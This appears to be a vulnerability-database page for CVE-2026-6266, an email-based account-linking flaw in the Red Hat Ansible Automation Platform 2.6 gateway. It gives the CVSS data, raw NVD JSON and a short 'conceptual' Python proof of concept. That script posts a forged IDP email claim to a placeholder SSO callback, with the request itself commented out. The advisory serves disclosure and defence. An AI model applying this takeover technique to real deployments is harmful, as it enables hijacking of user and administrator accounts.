Security Vulnerability Report
中文
CVE-2026-6266 CVSS 8.3 HIGH

CVE-2026-6266

Published: 2026-05-04 14:16:36
Last Modified: 2026-05-04 22:16:19

Description

A flaw was found in the AAP gateway. The user auto-link strategy, introduced in AAP 2.6, automatically links an external Identity Provider (IDP) identity to an existing AAP user account based on email matching without verifying email ownership. This allows a remote attacker to potentially hijack a victim's account or gain unauthorized access to other accounts, including administrative accounts, by manipulating the IDP-provided email.

CVSS Details

CVSS Score
8.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Red Hat Ansible Automation Platform 2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-6266 # This script demonstrates the logic flaw where an attacker can gain access # by simulating an IDP login with a victim's email address. import requests # Configuration target_aap_gateway = "https://target-aap-instance.com" victim_email = "[email protected]" attacker_idp_token = "fake_malicious_token" # Represents a token issued by a rogue IDP # The vulnerable endpoint accepts the IDP response and processes the email login_endpoint = f"{target_aap_gateway}/sso/callback" # In a real attack, the attacker crafts a SAML assertion or OIDC token # where the 'email' claim is set to the victim's email. payload = { "idp_token": attacker_idp_token, "email": victim_email # This is the key manipulated field } print(f"[*] Attempting to login as {victim_email} via IDP auto-link...") # Due to the flaw, AAP links the incoming IDP identity to the existing # local user account associated with victim_email without verification. # response = requests.post(login_endpoint, data=payload) # if response.status_code == 200: # print("[+] Account takeover successful! Session established.") # else: # print("[-] Attack failed.") print("[+] Exploit logic: AAP matches email directly and grants access.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6266", "sourceIdentifier": "[email protected]", "published": "2026-05-04T14:16:35.970", "lastModified": "2026-05-04T22:16:19.410", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the AAP gateway. The user auto-link strategy, introduced in AAP 2.6, automatically links an external Identity Provider (IDP) identity to an existing AAP user account based on email matching without verifying email ownership. This allows a remote attacker to potentially hijack a victim's account or gain unauthorized access to other accounts, including administrative accounts, by manipulating the IDP-provided email."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-305"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:13508", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:13512", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:13545", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-6266", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458142", "source": "[email protected]"}]}}